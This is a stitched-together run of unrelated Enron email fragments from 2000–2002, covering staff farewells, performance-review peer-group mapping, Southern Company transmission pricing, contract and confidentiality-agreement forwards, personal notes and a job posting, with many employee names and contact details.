Chauncey.Hood@enron.com, Chris.Long@enron.com,        
Christi.L.Nicolay@enron.com, Cynthia.Sandherr@enron.com,        
Damon.Harvey@enron.com, Dan.Staines@enron.com,        
Daniel.Allegretti@enron.com, Dave.Mangskau@enron.com,        
Donald.Lassere@enron.com, Donna.Fulton@enron.com,        
Eidy.Catala@enron.com, Elizabeth.Linnell@enron.com,        
Frank.Rishe@enron.com, Geriann.Warner@enron.com,        
Ginger.Dernehl@enron.com, Gisele.S.Braz@enron.com,        
Gloria.Ogenyi@enron.com, Guillermo.Canovas@enron.com,        
Harry.Kingerski@enron.com, Howard.Fromer@enron.com,        
James.D.Steffes@enron.com, Janine.Migden@enron.com,        
Javier.Pantoja@enron.com, Jean.R.Dressler@enron.com,        
Jean.Ryall@enron.com, Jeff.Brown@enron.com, Jeff.Dasovich@enron.com,        
Jeffrey.Keeler@enron.com, Joao.Paixao@enron.com, Joe.Allen@enron.com,        
Joe.Connor@enron.com, Joe.Hartsoe@enron.com, Joe.Hillings@enron.com,        
Jose.Bestard@enron.com, Joseph.Alamo@enron.com,        
Kathleen.Sullivan@enron.com, Kerry.Stroup@enron.com,        
Kikumi.Kishigami@enron.com, Kirsten.Bellas@enron.com,        
Lara.Leibman@enron.com, Laurie.Knight@enron.com,        
Leslie.Lawner@enron.com, Linda.J.Noske@enron.com,        
Linda.Robertson@enron.com, Lindsay.Meade@enron.com,        
Lisa.Yoho@enron.com, Lora.Sullivan@enron.com, Luiz.Maurer@enron.com,        
Lysa.Akin@enron.com, Marchris.Robinson@enron.com,        
Marcia.A.Linton@enron.com, Marcie.Milner@enron.com,        
Mary.Hain@enron.com, Maureen.McVicker@enron.com,        
Melinda.Pharms@enron.com, Michelle.Belzak@enron.com,        
Mona.L.Petrochko@enron.com, Nancy.Hetrick@enron.com,        
Patrick.Keene@enron.com, Ray.Alvarez@enron.com,        
Rebecca.W.Cantrell@enron.com, Ricardo.Charvel@enron.com,        
Richard.Ingersoll@enron.com, Richard.Shapiro@enron.com,        
Robert.Frank@enron.com, Robert.Hemstock@enron.com,        
Robert.Neustaedter@enron.com, Robin.Kittel@enron.com,        
Ron.McNamara@enron.com, rboston@enron.com, Rubena.Buerger@enron.com,        
Sandra.McCubbin@enron.com, Sarah.Novosel@enron.com,        
Scott.Bolton@enron.com, Sergio.Assad@enron.com, Stella.Chan@enron.com,        
Stephen.D.Burns@enron.com, Steve.Montovano@enron.com,        
Steve.Walton@enron.com, Steven.J.Kean@enron.com, Sue.Nord@enron.com,        
Susan.J.Mara@enron.com, Susan.M.Landwehr@enron.com,        
Terri.Miller@enron.com, Thane.Twiggs@enron.com, Tom.Briggs@enron.com,        
Tom.Chapman@enron.com, Tom.Delaney@enron.com, Tom.Hoatson@enron.com,        
Tracy.Cooper@enron.com, Valeria.Lima@enron.com, Vinio.Floris@enron.com,       
 Xi.Xi@enron.com, Steven.J.Kean@enron.com, Jeffrey.Keeler@enron.com,        
Christi.L.Nicolay@enron.com, Sarah.Novosel@enron.com,        
Robert.Frank@enron.com, Lara.Leibman@enron.com,        
Gloria.Ogenyi@enron.com, Richard.Shapiro@enron.com,        
Leslie.Lawner@enron.com, Paul.Kaufman@enron.com,        
Aleck.Dadson@enron.com, Daniel.Allegretti@enron.com,        
Howard.Fromer@enron.com, Joe.Hartsoe@enron.com, rboston@enron.com,        
Janine.Migden@enron.com, Christie.Patrick@enron.com,        
Jane.Wilson@enron.com, Rhonda.L.Denton@enron.com,        
kmagruder@newpower.com, scovino@newpower.com, 
Rebecca.Carter@enron.com,        Shelley.Corman@enron.com, 
Janet.Butler@enron.com,        Kevin.M.Presto@enron.com, 
Brad.Richter@enron.com, Greg.Piper@enron.com,        Kevin.McGowan@enron.com, 
Kim.Ward@enron.com, Leslie.Reeves@enron.com
Date: Fri, 23 Mar 2001 10:24:18 -0800
Message-ID: <OFCFA12BE4.1A65CFD4-ON88256A0F.00666A9C@enron.com>
14, 2000) at 03/23/2001 12:29:04 PM
Content-type: text/plain; charset="us-ascii"

I am going to be the Senior Regulatory Counsel at ISO New England starting
on April 9, 2001.   My last day in the Portland area will be March 31,
2001.  I enjoyed working with you and wish you the best of everything.  My
new address will be:

Mary Hain
Senior Regulatory Counsel
ISO New England Inc.
One Sullivan Road
Holyoke, MA  01040-2841
(413) 535-4000
mhain@ISO-NE.com

	MEET W/ SCOTT EB2132

Date:		9/6/2000
Time:		1:00 PM - 2:00 PM (Central Standard Time)

Soma,

All U.S. securities that are backed by the full faith of the U.S. govt should 
be 98% or greater, both ways.

Gary

What are you doing on the comuter at this hour? Aren't you suppose to be 
teaching some kids or something?

Steve Kean and I believe quite strongly, within a four peer group structure,  that we need to allocate somewhere between 30 and 50 percent of Gov't./ public  Affairs out of commercial support into specialized technical- there is a clear divide between individuals in the Gov't/public  Affairs groups  who are managing significant risk for the company and having a significant and  direct impact on commercial activities/ net income( these individuals should be moved to specialized technical)....and others who are performing a less strategic function( who should remain in the commercial support category). With that said, it is probably not necessary to undertake this effort for  mid-year PRC purposes since we are probably moving to a three peer stucture where that split could be achieved (for year-end purposes where the compensation impact would be felt). If we stay with the four group stucture, I intend to push hard for the remapping of Gov't Affairs by year-end.
    On a completely seperate issue, I continue to be  very concerned about the impact of the "preferred" distribution  relative to the bottom category for " commercial support" groups(I'm not implying this is'nt an issue for commercial groups- I just don't have the same ability to assess the impact there)....the concern, simply stated,  is that  it may be entirely  counterproductive to force individuals who are not performance problems  into a category that has significant implications for their careers here at Enron, particularly after going thru the past year where many of the non-performers in my group and others  were moved out of the company- the replacement costs for moving good performers out of the company for the sake of a "preferred" distribution are quite high...and that is even before you begin  to assess the incalcuable damage to morale that will invariably occour.
       Thanks.

	Enron Energy Services  From:  David W Delainey @ EES                           05/10/2001 10:26 AM	
		
Sent by:	Kay Chapman@EES
To:	David W Delainey/HOU/EES, Philippe A Bibi/HOU/ECT, Tim Belden/HOU/ECT, Raymond Bowen/HOU/ECT, Michael R Brown/LON/ECT@ECT, Rick Buy/Enron@EnronXGate, Wes Colwell/Enron@EnronXGate, David Cox/Enron Communications@Enron Communications, Janet R Dietrich/HOU/EES@EES, W David Duran/HOU/ECT@ECT, Jim Fallon/Enron Communications@Enron Communications, Ben Glisan/HOU/ECT@ECT, Joe Gold/LON/ECT@ECT, Mark E Haedicke/HOU/ECT@ECT, James A Hughes/ENRON_DEVELOPMENT, Louise Kitchen/HOU/ECT@ECT, Michael Kopper/HOU/ECT@ECT, John J Lavorato/Corp/Enron, Dan Leff/HOU/EES@EES, Jeffrey McMahon/Enron@EnronXGate, Rob Milnthorp/CAL/ECT@ECT, Matthew Scrimshaw/LON/ECT@ECT, Jeffrey A Shankman/HOU/ECT, Richard Shapiro/NA/Enron@Enron, Marty Sunde/HOU/EES@EES
cc:	Kenneth Lay/Corp/Enron@ENRON, Cliff Baxter/HOU/ECT, James Derrick/Corp/Enron, Ken Rice/Enron Communications@Enron Communications, Steven J Kean/NA/Enron@Enron, Greg Whalley/HOU/ECT@ECT, Stanley Horton/Corp/Enron@Enron, Jeff Skilling/Corp/Enron@ENRON, Richard Causey/Corp/Enron@ENRON, Kevin Hannon/Enron Communications@Enron Communications, Andrew S Fastow/HOU/ECT, Mark Frevert/NA/Enron, Lou L Pai/HOU/EES@EES, David Oxley/HOU/ECT, Drew C Lynch/LON/ECT@ECT, Robert W Jones/Enron@EnronXGate, Mary Joyce/Enron@EnronXGate, Marla Barnard/Enron Communications@Enron Communications, Kalen Pieper/HOU/EES@EES, Gary P Smith/OTS/Enron@ENRON, Cindy Skinner/HOU/ECT, Andrea Yowman/Corp/Enron@ENRON, Cindy Olson/Corp/Enron@ENRON, Gina Corteselli/Corp/Enron, Elspeth Inglis/Corp/Enron 

Subject:	PEER GROUP MAPPING

Following my note last week please find attached the consolidated peer group mapping for all business units. This mapping is intended to illustrate from a functional view point where each activity was placed at Year End 2000 VP PRC.

We were considering moving to a 3 Peer Group Structure however it as agreed at the last PRC Committee Meeting  to stay with the current structure since the data had been cleaned and everyone felt generally comfortable where most activities had been placed with the exception of just  2 or 3. It was agreed that we should concentrate on resolving these rather than undertaking an organization wide remapping excercise to consolidate to 3 Peer Groups. All functions/activities within the business units should now be reflected on the acttached. 

The actions points from this excercise are:

1	to review and agree the attached mapping 

2    consider and comment on highlighted groups that we have discussed in previous PRC meetings and ask for your comments or objections to moving them 	as indicated on the attachment.

3	invite your comments or questions on any other function that you consider questionable or requiring further explanation.

      Please return your comments to David Oxley by Friday May 25.

      To have this discussion now will save lengthy discussions in the final VP/MD PRC Meetings.  Definitions of the peer groups are also attached for your ease of
      reference.

FYI.  I'll bring you the ONSI confidentiality agreement.
---------------------- Forwarded by Kay Mann/Corp/Enron on 09/26/2000 05:51 
   
	From:  Kay Mann                           09/26/2000 08:35 AM
	
To: Dan Lyons/HOU/ECT@ECT
cc:  

Subject: FCE/Confidential

Hi Dan,

One more thing I want to mention.  As you know, Enron has a confidentiality 
agreement with a competitor of Fuel Cell (I believe it is ONSI).  The 
agreement has an exclusivity arrangement, which prevents the other company 
from chasing certain transactions without Enron.  Once we really know what we 
are going to do with FCE, will it be necessary/advisable to waive the 
exclusivity provision to avoid any restraint of trade arguments?  

FYI, When I last discussed the other company with Ozzie and Heather on 
Friday, they were planning on calling the other company to tell them the 
general status without violating confidentiality obligations to FCE or CRRA.  
I will follow up to get the details of the discussion.

Kay

All,

There seems to be a lot of confusion, on our ability to trade with Total 
Intl.  Our London group seems to be able to trade with this counterparty on a 
regular basis, but I understand, we have a legal issue outstanding with 
Total.  Could I please have further info on why Houston cannot trade with 
this counterparty.

Thank you,

Lee Jackson

?
Bobette  Riner???????????????????????????????  
Director, Traders News Indexes
TradersNews Energy
713/647-8690
FAX:  713/647-7552
cell: 832/428-7008
bobette.riner@ipgdirect.com
http://www.tradersnewsenergy.com
?
?

I talked to Bill Newman (Southern) about this proposal yesterday.  I asked Bill if we were correct in reading the proposal to say that Southern was now open to consider the use of financial rights for transmission rather than physical rights.  He said that was correct.  I asked him if they were also willing to consider an auction as a mechanism to allocate financial rights.  He said they would consider an auction as long as they could have a way to obtain the rights needed to serve native load without driving up the cost of that service.
 
This is a major change in Southern's position and may open the door for resolving the major differences between the SETrans group and the Grids on congestion management functions, assuming the Grids stay with the approach that came out of the FERC mediation sessions.
 
I also asked Bill if he was negotiating with Entergy to form an RTO.  He said he could not confirm that officially (but confidentially- they were talking a lot more and we should see something in a couple of weeks.  He also indicated that this was the reason they were now open to the financial rights approach).
 
Based on the above, I think the Southern transmission pricing proposal was their attempt to gain support of the PSCs, by addressing the PSCs concerns about transmission cost increases, and to open the door to resolving the differences Southern has had with Entergy over financial vs physical transmission rights.
 
As far as the proposal is concerned, and the study by the Analysis Group/Economics,  there are a lot of issues we could raise with both.  The study is only valid for the specific assumptions they made (rolled in rates for all transmission and long-term sales from Henry Hub to PJM) and Southern's proposal, once again, leaves too much unspecified to know exactly what they intended.  
 
I think we would be best served by taking the position that we welcome the study report pointing out the some of the very issues that need to be addressed in the next phase being proposed by FERC for the development of a Southeast RTO, and we are glad to note that the Analysis Group recognized that many of the issues raised could be resolved by  previous proposals to reform transmission pricing, such as the proposal to auction financial rights that Enron has been advocating.  We are also pleased to note that Southern has also recognized the use of financial rights as a viable alternative to physical transmission rights.
 
Please let me know if you do not agree with the above approach, and I'll give you a list of issues we could raise with the Southern proposal. But, I think we should wait a couple of weeks and see if Southern and Entergy have something put together we can address.

From: Steffes, James D. 
Sent: Fri 11/2/2001 9:50 AM 
To: Connor, Joe 
Cc: Nicolay, Christi L.; Novosel, Sarah 
Subject: FW: Southern Company releases reports on nation's transmission system

Joe -- 

Can you please give me your comments on this report by Southern?  Also, what do you think that Southern intends to gain for itself? I guess that the zonal model would force all generation to site on the boundries of Southern.  This goes against the single rate model for RTOs that FERC appears to desire = continues pancaking.

Jim 

From:   "Samantha Slater" <SSLATER@epsa.org>@ENRON  
Sent:   Friday, November 02, 2001 9:21 AM 
To:     bhueter@enron.com; Linnell, Elizabeth; Kingerski, Harry; jmigden@enron.com; jsteffe@enron.com; Robinson, Marchris; Petrochko, Mona L.; Kaufman, Paul; rboston@enron.com; rshapiro@enron.com; snord@enron.com; Montovano, Steve; Landwehr, Susan M.

Subject:        Southern Company releases reports on nation's transmission      system 

Southern Company releases reports on nation's transmission system 

Thursday, November 01, 2001 
Contact: Laura A. Gillig, 404-506-5333 or 1-866-506-5333 
media@southerncompany.com 

Southern Company today released two reports on critical issues facing the nation's electric transmission system that need increased attention by federal policymakers.

The first report authored by the economics consulting firm Analysis Group/Economics, Inc. presents some of the key problems with traditional regulatory policies that are inhibiting investment in new transmission facilities and distorting location decisions by new generators.

On October 10, 2001, Allen Franklin, Southern Company's chairman, president and CEO, testified before Congress regarding the need to provide better transmission pricing signals to generators so that they will be incented to locate closer to customers and in areas not requiring substantial new transmission investment. The problem presented is critical to Southern Company, as over 30,000 MW of new generation is seeking to locate in Southern Company's service area - an amount far greater than will be needed by area consumers. Most of this generation will be sold outside of the region, and will require major expansion of the transmission system. In most of these cases, it would have cost less and have been more reliable to locate the generation closer to its customers, but because generators don't face the true costs they impose on the transmission system, they are more likely to locate closer to sources of gas to fuel the plants, without regard to the transmission costs imposed.

The study conducted by Analysis Group/Economics finds that it generally would be less expensive to locate generation close to consumers and build gas pipelines when needed than to build generation near the gas fields and transmit the power to consumers located far away. Yet under current Federal regulatory policies, where gas pipeline pricing is distance sensitive and transmission pricing is not, exactly the wrong price signal is being provided to generators. Inconsistent pricing simply does not make sense for two competing energy infrastructures.

Southern Company has proposed a solution to this current inefficient pricing regime, which is described in the second report being released today - a "Southern Company Transmission Pricing Proposal." The proposed solution is a regulated pricing framework that takes into account the major factors that affect the incremental costs of providing transmission service - distance, congestion and losses, more closely aligning electric transmission and gas pipeline pricing policies. Distance

sensitivity is factored into the pricing proposal by using a zonal rate system, where longer distance transactions over multiple zones pay more than shorter transactions within a zone. Congestion is dealt with through the use of locational marginal pricing, and losses are handled through

distance-based loss factors or some other method of measuring marginal losses. 

The Southern Company proposal also suggests that generators who create the need for transmission upgrades that do not benefit other customers should pay for those upgrades, in return for which they would receive rights to use the transmission system without paying congestion costs. These transmission rights could be sold to third parties in a secondary market. This form of "participant funding" will ensure that generators face the costs of the location decisions they make, leading to more efficient decisions and eliminating uneconomic and unnecessary transmission investment and thus reducing energy costs for consumers.

The Southern Company proposal also points to the importance of sufficient returns on transmission investments to provide the proper incentives for expansion of the networks. The nature of the transmission business is changing dramatically, and returns have to be re-evaluated as a result. Also emphasized is the importance of incentive or performance-based rates, particularly for regional transmission organizations that are being formed around the country, and the need to eliminate regulatory lag for cost recovery of the substantial investments that will be made in the transmission system over the next decade.

 - SO_FullRep.pdf <<SO_FullRep.pdf>> 
 - AGE_FullRep.pdf <<AGE_FullRep.pdf>> 

If I finish my 9 am early, I'll call you.  In any event, I'll find a way for 
us to hook up today or tomorrow.  Sara

	Angela Davis@ENRON
	10/30/2000 06:56 AM
		
		 cc: 
		 Subject: Re: Enron/Hawaii I

Actually, I can't.  I just checked my calendar and I have a meeting at 
10:00.  How about before then?

Angela D. Davis
1400 Smith, Suite 3842
Tele. (713) 345-8347
Fax:  (713) 646-3393
e-mail:  angela.davis@enron.com

BW2003  JAN 30,2002       2:00 PACIFIC      05:00 EASTERN

( BW)(TX-INDUSTRIAL-INFO-RES) Is the Deep South the ``Detroit'' of the
Auto Making Industry for the 21st Century?, in an Advisory by
Industrialinfo.com

    Business Editors

	   HOUSTON--(BUSINESS WIRE)--Jan. 30, 2002--The following is an
advisory by Industrialinfo.com (Industrial Information Resources,
Incorporated; Houston, Texas) Is the dominance of Detroit, MI and the
Midwest in the auto making industry nearing an end? At least a half
dozen major auto manufacturers are either looking at, or have already
built, auto-manufacturing facilities in states such as Mississippi,
Alabama, and South Carolina. Along with the new auto-manufacturing
facilities come the inevitable Tier-1 and Tier-2 support plants that
provide the parts and supplies necessary to manufacture automobiles.
The southern states are pulling out all the stops, through economic
benefits packages, to attract the automobile manufacturers and their
support structure to these non-traditional states in an effort to
boost local economies. At stake are billions of dollars and thousands
of jobs in the lucky state or states that can attract the lucrative
auto making businesses.

	   To access the full article, register for free at
http://www.industrialinfo.com

construction activities for the industrial manufacturing markets as
well as other industrial sectors send inquiries to
industrialmanufacturinggroup@industrialinfo.com or visit us at
www.industrialinfo.com.

    --30--AS/na*

    CONTACT: Industrial Information Resources Inc.; Houston
             Mike Bergen, 713/783-5147
             www.industrialinfo.com

    KEYWORD: TEXAS MICHIGAN MISSISSIPPI ALABAMA SOUTH CAROLINA
    INDUSTRY KEYWORD: AUTOMOTIVE
    SOURCE: Industrial Information Resources Inc.

---------------------- Forwarded by Rosalee Fleming/Corp/Enron on 01/16/200=
1=20
09:36 AM ---------------------------

Maureen McVicker
01/15/2001 01:13 PM
To: Rosalee Fleming/Corp/Enron@ENRON
cc: Lora Sullivan/Corp/Enron@ENRON=20
Subject: Letters to Members of Congress and Cabinet Secretaries for Ken Lay=
's=20
signature

Rosie:

Here are the letters I left you a voicemail about.    Please see the email=
=20
below about which letter are to be mailed and when.  I'm sorry to ask you t=
o=20
print these out, but I didn't have any of Ken's letterhead.   If you have a=
ny=20
questions, please call Ginger Dernehl or Lora Sullivan.   I will be out of=
=20
the office until Friday (there will be a temp at my desk).

Attached is a list of people, with their correct salutations and a copy of=
=20
the form letter.  (I will send up the envelopes for these letters - Lora=20
Sullivan had already printed them out earlier).

Lora:  FYI - Steve made one slight change to the letters you sent.  The onl=
y=20
change was at the bottom of the letter - he added (Business Council) after=
=20
Phil Cassidy's name and added Linda's name and number as a contact person.

----- Forwarded by Maureen McVicker/NA/Enron on 01/15/2001 12:49 PM -----

=09Lora Sullivan
=0901/10/2001 04:01 PM
=09=09=20
=09=09 To: Maureen McVicker/NA/Enron@Enron
=09=09 Subject: Letters to Members of Congress and Cabinet Secretaries for =
Ken=20
Lay's signature

Maureen,
I'm overnighting these completed letters to you. They have been printed on=
=20
Ken Lay's letterhead and are ready for his signature after Steve reviews th=
em.
I want you to have electronic copy for your records.
Lora Sullivan
202-466-9142

**************************

ENRON, WASHINGTON
MEMORANDUM

TO:  Steve Kean
cc:  Maureen McVicker
FROM: Linda Robertson
DATE:  January 10, 2001
RE:  Letters to Members of Congress and USG
  Regarding Business Council Winter Meeting

Steve:

Appended are the new invites to the February Business Council meeting for K=
en=01,
s signature.  They are divided into two groups.  Group one should be mailed=
=20
immediately to the Members of Congress.  Group two to Cabinet secretaries,=
=20
should be mailed on January 22nd and only after checking with us as to the=
=20
status of their confirmation.  We decided to send these invites to the=20
relevant Department post confirmation rather to the transition where the=20
invite stood a signficant chance of being lost.

Linda
202-466-9159

Encl.

section 13.1 requires a letter of credit.

----- Forwarded by Carlos Sole/NA/Enron on 05/30/2001 09:01 PM -----

	Ann Elizabeth White@ECT
	05/21/2001 05:07 PM
		 
		 To: Carlos Sole
		 cc: Kay Mann/Corp/Enron@Enron
		 Subject: Midway Project - Generic Interconnect Agreement

I'm leaving on vacation after tomorrow for 2 1/2 weeks and there's no way I 
can get to this before I leave.  Would you please handle this for me in the 
interim?  If not, please talk to Kay about who could handle this for Greg in 
my absence.  It may just need to go to outside counsel.

Thanks!
---------------------- Forwarded by Ann Elizabeth White/HOU/ECT on 05/21/2001 
05:06 PM ---------------------------
   
	From:  Christi L Nicolay                           05/21/2001 04:21 PM
	
To: Ann Elizabeth White/HOU/ECT@ECT, Carlos Sole/NA/Enron@Enron
cc:  
Subject: Midway Project - Generic Interconnect Agreement

I will review this, but one of you needs to also.  Thanks.
---------------------- Forwarded by Christi L Nicolay/HOU/ECT on 05/21/2001 
04:20 PM ---------------------------

Greg Krause@ENRON
05/21/2001 04:00 PM

Subject: Midway Project - Generic Interconnect Agreement  

Please see attached for your review and comments.

Please find attached the Power Credit Watch List for October 22:

Please reply with any questions.

Thank you.

Kortney

actually i think he is out - he just put a call into you

Chris Calger
503-464-3735

From: Kitchen, Louise 
Sent: Wednesday, January 23, 2002 8:44 AM
To: Calger, Christopher F.
Subject: Re: berney

I think he'll be done at his current offer, do you want to give him more?

I told him he's reporting to you and Milly and he was pleased.

Are you listening or video conferencing into this meeting?
Sent from my BlackBerry Wireless Handheld

I went motorcycle riding last night - I think I need to get some better 
winter riding gear.

We will definitely go to court next Tuesday at 1:00 PM.  All we are doing is 
verifying Dad's signature on the will.  Once the judge sees us it should only 
take about five minutes.

That's all I have for now.

John:  I hope you are able to locate an executed ISDA Master Agreement 
between RMT and EECC inasmuch as neither our database nor files reflect one.  
, I've asked Susan Bailey to resend the draft Schedule.  In the event that we 
need to execute this Schedule, you should provide us with appropriate notice 
information. We can then prepare execution originals.

Let me know if you need further assistance.  Thanks.

	John Schwartzenburg@ENRON_DEVELOPMENT
	03/02/2001 07:12 AM
		 
		 To: Sara Shackleton@ECT
		 cc: Susan Bailey@ECT, Wyndel McNamara@ENRON
		 Subject: ISDA Agreement for EECC

Sara, our CFO remembers executing one of these some time ago, but we cannot 
locate the document yet. If we can't get our hands on it by next week, we 
will go ahead and do a new form. Please resend the electornic form of the 
ISDA master agreement. Your prior transmission seems to have been deleted in 
a clean-up of the e-mails over here.. Thanks

JWVS

I actually have the time to have a life.  I never knew there was such a thing.  I've been reading about all the events going on down there, and have been thinking about all my friends that are effected.  
Just came back from Canada last week.  Went on a skiing trip to Whistler, outside of Vancouver.  I t is one of the best resorts in North America.  Tommorow I'm going to LA for a convention and then I'm off to Europe to see my sister and her new baby, whenever it decides to be born.  So all in all, things are great.
>From: Phillip.M.Love@enron.com  
>To: rmwongozi@hotmail.com  
>Subject: RE: Glad to see you  
>Date: Mon, 28 Jan 2002 13:27:15 -0600  
>  
>We lost about 15% to layoffs and we lost about 40% to the estate (staying  
>with Enron). The remaining people are going to UBS. We will see what  
>happens. How are things with you? Talk to you later.  
>PL  
>  
>  
> -----Original Message-----  
> From: "Rahmaan Mwongozi" @ENRON  
> Sent: Thursday, January 24, 2002 5:04 PM  
> To: Love, Phillip M.  
> Subject: Glad to see you  
>  
>  
> Glad to see that you are still working. Was the fallout big on the  
> floor? Who's still around?  
>  
> Send and receive Hotmail on your mobile device: Click Here << File:  
> 'http://go.msn.com/bql/hmtag2_etl_EN.asp' >>  
>  
>  
>  
>  
>**********************************************************************  
>This e-mail is the property of Enron Corp. and/or its relevant affiliate and may contain confidential and privileged material for the sole use of the intended recipient (s). Any review, use, distribution or disclosure by others is strictly prohibited. If you are not the intended recipient (or authorized to receive for the recipient), please contact the sender or reply to Enron Corp. at enron.messaging.administration@enron.com and delete all copies of the message. This e-mail (and any attachments hereto) are not intended to be an offer (or an acceptance) and do not create or evidence a binding and enforceable contract between Enron Corp. (or any of its affiliates) and the intended recipient or any other party, and may not be relied on by anyone as the basis of a contract by estoppel or otherwise. Thank you.  
>  

Get your FREE download of MSN Explorer at http://explorer.msn.com .

Liz, would you please e-mail me Greg's exact title.  Thanks, SRS

----- Forwarded by Tana Jones/HOU/ECT on 08/09/2000 03:17 PM -----

	08/03/2000 10:20 AM
		 
		 cc: 
		 Subject: Confidentiality Agreement

----- Forwarded by Mark Taylor/HOU/ECT on 08/03/2000 10:20 AM -----

	George Zivic
	08/03/2000 09:28 AM
		 
		 cc: 

Mark,

could you please review the attached CA from NextSet. 
we will not need to look at the LOI at this time.
Please call me if this should be directed elsewhere or with any questions 
w/r/t  information below.

Thanks
George Zivic
3-7489
---------------------- Forwarded by George Zivic/HOU/ECT on 08/03/2000 09:21 

Gillian Johnson
08/03/2000 08:57 AM
To: David Weekes/LON/ECT@ECT
cc: George Zivic/HOU/ECT@ECT 
Subject: Re: Next steps  

If we can find an attorney in Houston, I would be all for moving forward with 
it.  The truth is that a 2 day delay will not ruin the relationship.  Since I 
am on vacation today and tomorrow, I would ask George to investigate Houston 
lawyers.  George I think we use Mark Taylor but please confirm this with 
Moazzam.

Thanks.

Gillian

David Weekes
03/08/2000 03:03
To: Gillian Johnson/LON/ECT@ECT
cc:  

Subject: Re: Next steps

Gillian

Apparently we are short of lawyers this week.  Will it be OK to get back on 
this next week or do you want to show it to a lawyer in Houston ?

David
---------------------- Forwarded by David Weekes/LON/ECT on 03/08/2000 09:04 

03/08/2000 08:11
cc:  

Gillian

Thanks - that makes sense.  I will get legal to look at the CA.

David 

02/08/2000 20:49
cc:  

George and I agree that we should not consider signing the LOI now, but 
should sign the CA so that we can share information and hold further 
discussions to jointly develop the nature of the relationship.  In the LOI 
sent, they are making declarations that we have not fully flushed out, 
therefore, we are not prepared to sign that.

Hope that helps.

Thanks.

Gillian 

02/08/2000 12:50
cc:  

Gillian

Before I get legal and PR to look at this could you give me a bit more 
background on the potential arrangement with NextSet. I dont understand where 
the need for training will come in. 

I know that generally Enron has a policy of not being seen to endorse a 
client's products. PR may therefore have a problem with giving NextSet the 
ability to put our logo on their site. How important is this likely to be ?

Regards

David

02/08/2000 16:03
cc: Craig Chaney/LON/ECT@ECT 

Subject: Next steps

---------------------- Forwarded by Gillian Johnson/LON/ECT on 02/08/2000 
15:58 ---------------------------
   
	From:  Anupam Mishra <amishra@NextSet.com>                           
01/08/2000 18:13
	
To: "'gillian.johnson@enron.com'" <gillian.johnson@enron.com>, 
"'george.zivic@enron.com'" <george.zivic@enron.com>
cc: Leigh Clarke <lclarke@NextSet.com> 

Gillian and George,

Thanks again for stopping by this morning.  Per our conversation, I am
attaching a mutual NDA and a standard LOI.  With the former in place, we
should both be able to get a little deeper into the technology to see if
there is a strong fit between our respective companies.  I would be very
interested to introduce our CTO with your technology counterpart the next
time he is in town.  Feel free to schedule that meeting through me.  All the
best.

Regards,
Anupam

Anupam Mishra
Business Development
NextSet Software, Inc.
(650) 251-4119

>  <<Software LOI.pdf>>  <<MNDA.pdf>>

 - Software LOI.pdf
 - MNDA.pdf

713/646-3490

	Bob Hillier/ENRON@enronXgate
	01/22/2001 08:11 AM
		 
		 cc: 
		 Subject: RE: ASAP-Preliminary List of Online Contracts

Tana, the contact that told me he had a electronic copy for BEA Weblogic just 
dropped off a hard copy for me as he has not been able to locate the 
electronic copy.  If you can send me a fax number I can fax this to you.

bbh

Sent: Thursday, January 18, 2001 6:40 PM
To: Kitchen, Louise; Samuels, Dave; Shah, Kal; Ayala, Carmen; Webb, Jay; 
Pavetto, John; Hillier, Bob; Goddard, Paul; Boyd, Justin
Cc: Koehler, Anne; Taylor, Mark
Subject: ASAP-Preliminary List of Online Contracts

Attached is what I hope is a pretty complete list of the EnronOnline 
contracts I have been made aware of.  There are a few I have open questions 
about  or am waiting to receive copies of the contract.  Can each of you 
please take a look and think about whether there are any others we may be 
missing.  Again, my time frame is short here, so if I can get your response 
promptly I would be most appreciative.

 << File: ENRONONLINE COMMERCIAL & TECHNICAL  AGREEMENTS.doc >> 

Mark,
Although I can read and under stand P&ID's I feel that this one is more of
an electrical engineers area of expertise.
Kelly
From: <Mark.Taylor@enron.com>
To: <kmclark@cinternet.net>
Sent: Thursday, July 05, 2001 4:19 PM
Subject: COMMISSIONING ENGINEER

> COMMISSIONING ENGINEER
>
> ESSENTIAL FUNCTIONS: Under the direction and supervision of the Start-up
> Supervisor, is responsible for all start-up electrical testing activities
> and approving their operation in a safe and proper manner. This includes
> reviewing plant engineering documents and P&ID's, performing electrical
> testing and troubleshooting on all plant electrical systems and equipment.
> Also assigns work to and supervises O.E.C., electrical technicians and
> construction craftsmen in support of start-up testing activities, works
> with equipment vendors and interfaces with NEPCO engineering and
> construction departments, as required
>
>
> ESSENTIAL REQUIREMENTS: Operates from established and well-known
procedures
> under general directions. Job is not supervisory in nature. Receives
> minimum supervision. Decisions are made within policy constraints. Not
> accountable for budget preparation or compliance. No operating budget. New
> and varied work situations. Job involves a moderate degree of complexity.
> Contacts are normally made with others inside the Company. Contacts are
> usually immediate associates and own supervisor. Must be able to read
> electrical blueprints, drawings, and utilize typical test equipment
> associated with this position. Educational requirements include: A.A.S. or
> 4 year mechanical/marine engineering degree or equivalent. Eight (8) or
> more year's experience in major power plant equipment and system
> installations. Knowledge of labor jurisdiction, construction techniques,
> tools and equipment, and protective tagging systems required. Working
> knowledge of power plant and associated systems
>
>
> PREFERRED SKILLS: NA.
>
>
> SPECIAL CHARACTERISTICS: NA.
>
>
> CONTACT: NEPCO Human Resources hr@nepco.com Fax (425)415-3081
>
>
> (Embedded image moved to file: pic01993.pcx)
>
>
> |---------------+------------------------------------|
> |               |                                    |
> | Job ID        | 0000106839                         |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> | Department    | START UP                           |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> | Company       | GLOBAL FUNCTIONS ENGINEER &        |
> |               | CONSTRUCT - NEPCO                  |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> | Location      | BOTHELL, WA                        |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> | Type          |                                    |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> | Pay           | n/a                                |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> | FLSA class    |                                    |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> | Manager       | GOULETTE,CHARLIE                   |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> | Recruiter     | RJOHNSON                           |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> | Log           | n/a                                |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> |               |                                    |
> | Grade         | SAL15.02.02                        |
> |               |                                    |
